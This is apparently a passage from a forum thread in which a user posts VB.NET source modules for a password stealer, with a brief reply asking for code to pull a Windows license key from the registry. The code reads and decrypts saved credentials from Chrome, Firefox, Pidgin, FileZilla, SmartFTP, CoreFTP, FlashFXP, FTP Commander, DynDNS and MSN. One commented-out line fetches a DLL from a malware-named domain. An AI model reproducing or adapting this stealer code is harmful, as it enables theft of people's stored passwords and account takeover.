Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("PalTalk Not Installed!")
Form1.ztext.AppendText(nl)
Return "---"
End Try
End Function
End Module

13. Pidgin

Option Explicit On
Imports System.IO
Imports System.Xml
Module Pidgin

Public Function GetPidgin() As String
Dim ReadXML As New XmlDocument
Dim i As Integer
Dim OutAll = Nothing
GetPidgin = ""
Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml"
If File.Exists(FilePath) <> True Then
Exit Function
Else
Try
ReadXML.Load(FilePath)
Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol")
Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name")
Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password")
For i = 0 To Protocol.Count - 1
OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _
& "Username: " & Username(i).InnerText & vbCrLf _
& "Password: " & Password(i).InnerText & vbCrLf & vbNewLine
Next
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============Pidgin==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & Username(i).InnerText)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & Password(i).InnerText)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============Pidgin==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Pidgin Not Installed!")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
End Try
End If
End Function
End Module

14.SmartFTP

Module SmartFTP
Function SmartFTP() As String
Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
Dim sFile As String = ReadFile(sPath)
Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
Dim sUser As String = Cut(sFile, "<User>", "</User>")
Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")

If Not sUser = "" Then
Try
SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)"
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============SmartFTP==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Form1.ztext.AppendText("============SmartFTP==============")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("=================================")
End Try
Else
End If
End Function
Function ReadFile(ByVal sFile As String) As String
On Error Resume Next
Dim OpenFile As New System.IO.StreamReader(sFile)
ReadFile = OpenFile.ReadToEnd.ToString
End Function
Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
On Error Resume Next
Dim c() As String
Dim c2() As String
c = Split(sInhalt, sText)
c2 = Split(c(1), stext2)
Cut = c2(0)
End Function
Function RegRead(ByVal hKey As String) As String
Dim wshShell As Object = CreateObject("WScript.Shell")
On Error Resume Next
RegRead = wshShell.RegRead(hKey)
End Function
Public Function ReadLine(ByVal filename As String, _
ByVal line As Integer) As String
Try
Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
filename, System.Text.Encoding.Default).Split(vbCrLf)
If line > 0 Then
Return lines(line - 1)
ElseIf line < 0 Then
Return lines(lines.Length + line - 1)
Else
Return ""
End If
Catch ex As Exception
Return ""
End Try
End Function
End Module

Edited by sandabot
Link to comment
Share on other sites

as vrea o sursa asemantoare care sa copieze license-key-ul din windows 7 si s-o salveze intr-un text,in aceeasi locate cu a exe-ului (usb) :D

am nevoie doar de algoritmul care citeste cheia criptata in registry si o decripteasa (este reversable).Restul ma descurc.Sau care e algoritmul de decriptare?

Edited by LLegoLLaS
Link to comment
Share on other sites

1.Chrome

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text
Imports stub.SQLiteWrapper

Public Class Chromer
Public Shared cPass As String
Public Shared Function GetChrome()
'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL")
Try
Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
If File.Exists(datapath) Then
Dim SQLconnect As New SqlClient.SqlConnection()
Dim SQLcommand As SqlClient.SqlCommand
SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
SQLconnect.Open()
SQLcommand = SQLconnect.CreateCommand
SQLcommand.CommandText = "SELECT * FROM logins"
Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader()
Dim host, user, pass As String
While SQLreader.Read()
host = SQLreader("origin_url")
user = SQLreader("username_value")
pass = Decrypt(SQLreader("password_value"))
If (user <> "") And (pass <> "") Then
Dim pss As New ListViewItem
pss.Text = host
cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
& vbNewLine & " ")
End If
End While
SQLcommand.Dispose()
SQLconnect.Close()
End If
Catch e As Exception
MsgBox(e.ToString)
End Try
End Function
<DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
End Function
<Flags()> Enum CryptProtectPromptFlags
CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
End Enum
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
Public cbSize As Integer
Public dwPromptFlags As CryptProtectPromptFlags
Public hwndApp As IntPtr
Public szPrompt As String
End Structure
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
Public cbData As Integer
Public pbData As IntPtr
End Structure
Shared Function Decrypt(ByVal Datas() As Byte) As String
Dim inj, Ors As New DATA_BLOB
Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
inj.pbData = Ghandle.AddrOfPinnedObject()
inj.cbData = Datas.Length
Ghandle.Free()
CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
Dim Returned() As Byte = New Byte(Ors.cbData) {}
Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
Dim TheString As String = Encoding.Default.GetString(Returned)
Return TheString.Substring(0, TheString.Length - 1)
End Function
End Class

2.CoreFTP

Module CoreFTP
Function CoreFTP() As String
Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
Dim sFile As String = ReadFile(sPath)
Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")

If Not sUser = "" Then
Try
CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============CoreFTP==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Form1.ztext.AppendText("============CoreFTP==============")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("=================================")
End Try
Else
End If
End Function
End Module

3.DynDNS

Module Dyndns
Public Function GoogleDns() As String
On Error Resume Next
GoogleDns = Nothing

Dim sAppData As String
Dim sPath As String
Dim sLine As String
Dim sUser As String = Nothing
Dim sPassword As String = Nothing
Dim i As Integer
Dim sChars As String = Nothing
Dim lPtr As Integer

sAppData = Environ("ALLUSERSPROFILE")

If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

sPath = sAppData & "DynDNS\Updater\config.dyndns"

'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
If Dir(sPath) <> "" Then
FileOpen(1, sPath, OpenMode.Binary)
Do While Not EOF(1)
sLine = vbNullString
sLine = LineInput(1)
If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
If Left(sLine, 9) = "Password=" Then
sPassword = Mid(sLine, 10)
'We have what we want, now exit do
Exit Do
End If
Loop
FileClose(1)

For i = 1 To Len(sPassword) Step 2
sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
Next i

For i = 1 To Len(sChars)
Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
lPtr = ((lPtr + 1) Mod 8)
Next i
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============DYNDNS==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sChars)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
If sUser = "" Or sChars = "" Then
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============DYNDNS==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
End If
End If
End Function
End Module

4.FireFox 1

Imports System
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Data
Imports FireFox.SQLiteWrapper
Imports System.Text
Module FFDecryptor

Public Class SHITEMID
Public Shared cb As Long
Public Shared abID As Byte()
End Class
<StructLayout(LayoutKind.Sequential)> _
Public Structure TSECItem
Public SECItemType As Integer
Public SECItemData As Integer
Public SECItemLen As Integer
End Structure

<DllImport("kernel32.dll")> _
Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
End Function
Private NSS3 As IntPtr
<DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
Public Function NSS_Init(ByVal configdir As String) As Long
Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
LoadLibrary(MozillaPath & "mozcrt19.dll")
LoadLibrary(MozillaPath & "nspr4.dll")
LoadLibrary(MozillaPath & "plc4.dll")
LoadLibrary(MozillaPath & "plds4.dll")
LoadLibrary(MozillaPath & "ssutil3.dll")
LoadLibrary(MozillaPath & "sqlite3.dll")
LoadLibrary(MozillaPath & "nssutil3.dll")
LoadLibrary(MozillaPath & "softokn3.dll")
NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
Return dll(configdir)
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate2() As Long
Public Function PK11_GetInternalKeySlot() As Long
Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
Return dll()
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
Return dll(slot, loadCerts, wincx)
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
Return dll(arenaOpt, outItemOpt, inStr, inLen)
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
Return dll(data, result, cx)
End Function
Public signon As String
End Module

5.FireFox 2

Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Data
Imports System.Collections

Namespace SQLiteWrapper
Public Class SQLiteBase
<DllImport("kernel32")> _
Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
End Function

<DllImport("kernel32")> _
Private Shared Function GetProcessHeap() As IntPtr
End Function

<DllImport("kernel32")> _
Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
End Function
<DllImport("sqlite3")> _
Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
End Function

' SQLite constants
Private Const SQL_OK As Integer = 0
Private Const SQL_ROW As Integer = 100
Private Const SQL_DONE As Integer = 101
Public Enum SQLiteDataTypes
INT = 1
FLOAT
TEXT
BLOB
NULL
End Enum
Private database As IntPtr
Public Sub New()
database = IntPtr.Zero
End Sub
Public Sub New(ByVal baseName As [String])
OpenDatabase(baseName)
End Sub
Public Sub OpenDatabase(ByVal baseName As [String])
If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
database = IntPtr.Zero
Throw New Exception("Error with opening database " & baseName & "!")
End If
End Sub
Public Sub CloseDatabase()
If database <> IntPtr.Zero Then
sqlite3_close(database)
End If
End Sub
Public Function GetTables() As ArrayList
Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
Dim table As DataTable = ExecuteQuery(query)
Dim list As New ArrayList()
For Each row As DataRow In table.Rows
list.Add(row.ItemArray(0).ToString())
Next
Return list
End Function
Public Sub ExecuteNonQuery(ByVal query As [String])
Dim [error] As IntPtr
sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
If [error] <> IntPtr.Zero Then
Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error])))
End If
End Sub
Public Function ExecuteQuery(ByVal query As [String]) As DataTable
Dim statement As IntPtr
Dim excessData As IntPtr
sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
Dim table As New DataTable()
Dim result As Integer = ReadFirstRow(statement, table)
While result = SQL_ROW
result = ReadNextRow(statement, table)
End While
sqlite3_finalize(statement)
Return table
End Function
Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
table = New DataTable("resultTable")
Dim resultType As Integer = sqlite3_step(statement)
If resultType = SQL_ROW Then
Dim columnCount As Integer = sqlite3_column_count(statement)
Dim columnName As [String] = ""
Dim columnType As Integer = 0
Dim columnValues As Object() = New Object(columnCount - 1) {}
For i As Integer = 0 To columnCount - 1
columnName = PointerToString(sqlite3_column_name(statement, i))
columnType = sqlite3_column_type(statement, i)
Select Case columnType
Case CInt(SQLiteDataTypes.INT)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
columnValues(i) = sqlite3_column_int(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.FLOAT)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.Single"))
columnValues(i) = sqlite3_column_double(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.TEXT)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.String"))
columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
Exit Select
End If
Case CInt(SQLiteDataTypes.BLOB)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.String"))
columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
Exit Select
End If
Case Else
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.String"))
columnValues(i) = ""
Exit Select
End If
End Select
Next
table.Rows.Add(columnValues)
End If
Return sqlite3_step(statement)
End Function
Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
Dim columnCount As Integer = sqlite3_column_count(statement)

Dim columnType As Integer = 0
Dim columnValues As Object() = New Object(columnCount - 1) {}

For i As Integer = 0 To columnCount - 1
columnType = sqlite3_column_type(statement, i)

Select Case columnType
Case CInt(SQLiteDataTypes.INT)
If True Then
columnValues(i) = sqlite3_column_int(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.FLOAT)
If True Then
columnValues(i) = sqlite3_column_double(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.TEXT)
If True Then
columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
Exit Select
End If
Case CInt(SQLiteDataTypes.BLOB)
If True Then
columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
Exit Select
End If
Case Else
If True Then
columnValues(i) = ""
Exit Select
End If
End Select
Next
table.Rows.Add(columnValues)
Return sqlite3_step(statement)
End Function
Private Function StringToPointer(ByVal str As [String]) As IntPtr
If str Is Nothing Then
Return IntPtr.Zero
Else
Dim encoding__1 As Encoding = Encoding.UTF8
Dim bytes As [Byte]() = encoding__1.GetBytes(str)
Dim length As UInteger = bytes.Length + 1
Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32))
Marshal.Copy(bytes, 0, pointer, bytes.Length)
Marshal.WriteByte(pointer, bytes.Length, 0)
Return pointer
End If
End Function
Private Function PointerToString(ByVal ptr As IntPtr) As [String]
If ptr = IntPtr.Zero Then
Return Nothing
End If

Dim encoding__1 As Encoding = Encoding.UTF8

Dim length As Integer = GetPointerLenght(ptr)
Dim bytes As [Byte]() = New [Byte](length - 1) {}
Marshal.Copy(ptr, bytes, 0, length)
Return encoding__1.GetString(bytes, 0, length)
End Function
Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
If ptr = IntPtr.Zero Then
Return 0
End If
Return lstrlen(ptr)
End Function
End Class
End Namespace

6. FileZilla

Module Filezilla
Function ShoitZilla() As String
On Error Resume Next
Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
Dim FileBuffer As String = vbNull
Dim NL As String = vbNewLine
FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
Dim str As String
Dim Output As String = Nothing
Dim TempData() As String
TempData = FileBuffer.Split(vbCrLf)
FileBuffer = Nothing
For Each str In TempData
If str.Contains("</Host>") Then
str.Replace("<Host>", "").Replace("</Host>", "")
Output = Output & "Host : " & str & NL
End If
If str.Contains("</User>") Then
str.Replace("<User>", "").Replace("</User>", "")
Output = Output & "Username : " & str & NL
End If
If str.Contains("</Pass>") Then
str.Replace("<Pass>", "").Replace("</Pass>", "")
Output = Output & "Password : " & str & NL & NL
End If
Next
Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine
ShoitZilla = Output
Form1.ztext.AppendText(Output)
End Function
End Module

7.FlashFXP

Module FlashFXP
Function FlashFXP() As String
Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
Dim sFile As String = ReadFile(sPath)
Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
Dim sPort As String = Cut(sFile, "port=", vbNewLine)
Dim sUser As String = Cut(sFile, "user=", vbNewLine)
Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
Dim sEntry As String = Cut(sFile, "created=", vbNewLine)

If Not sUser = "" Then
Try
FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============FlashFXP==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Form1.ztext.AppendText("============FlashFXP==============")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("=================================")
End Try
Else
End If
End Function
End Module

8.FtpCommander

Module FTPCommander
Function FtpCommander() As String
Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
Dim sFile As String = ReadLine(sPath, -1)
Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
Dim sUser As String = Cut(sFile, ";User=", ";*********=")
Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
Dim sEntry As String = Cut(sFile, "Name=", ";Server=")

If Not sUser = "" Then
Try
FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============FTP Commander==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
End Try
Else
End If
End Function
End Module

9.IMVU

Module Imvu
Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
On Error GoTo Error_Renamed ' // If Error dont Display Error
Dim X As Object ' //
X = CreateObject("WScript.shell") ' // Create REG Object
ReadKey = X.regread(hKey) ' // Read The Key
Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
End Function
Public Function Hex2Ascii(ByVal Text As String) As String
Dim Value As Object
Dim num As Object
Dim i As Object ' // Simple Function for Pass Hex to Ascii
Value = Nothing
For i = 1 To Len(Text) ' Len of Encripted Text
num = Mid(Text, i, 2) ' // Go Chr by Chr
Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
i = i + 1 ' // +1
Next i ' Next Chr

Hex2Ascii = Value ' //
End Function

10. MSN

Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.IO
Module MSN
<DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean
End Function
<DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _
Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _
ByVal pDataOut As DATA_BLOB) As Boolean
End Function
Friend Structure CREDENTIAL
Public Flags As Integer
Public Type As Integer
<MarshalAs(UnmanagedType.LPWStr)> _
Public TargetName As String
<MarshalAs(UnmanagedType.LPWStr)> _
Public Comment As String
Public LastWritten As Long
Public CredentialBlobSize As Integer
Public CredentialBlob As Integer
Public Persist As Integer
Public AttributeCount As Integer
Public Attributes As IntPtr
<MarshalAs(UnmanagedType.LPWStr)> _
Public TargetAlias As String
<MarshalAs(UnmanagedType.LPWStr)> _
Public UserName As String
End Structure
Private Cred As CREDENTIAL
Friend Structure DATA_BLOB
Public cbData As Integer
Public pbData As Integer
End Structure
Friend Structure UserDetails
Public uName As String
Public uPass As String
End Structure
Public count As UInteger
Public pCredentials As IntPtr = IntPtr.Zero
Public dataIn As DATA_BLOB
Public dataOut As DATA_BLOB
Public uDetail As UserDetails
Public Function getPwd() As String()
Password()
Dim pass As String() = {uDetail.uName, uDetail.uPass}
Return pass

End Function
Public Sub Password()
Try
Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4)
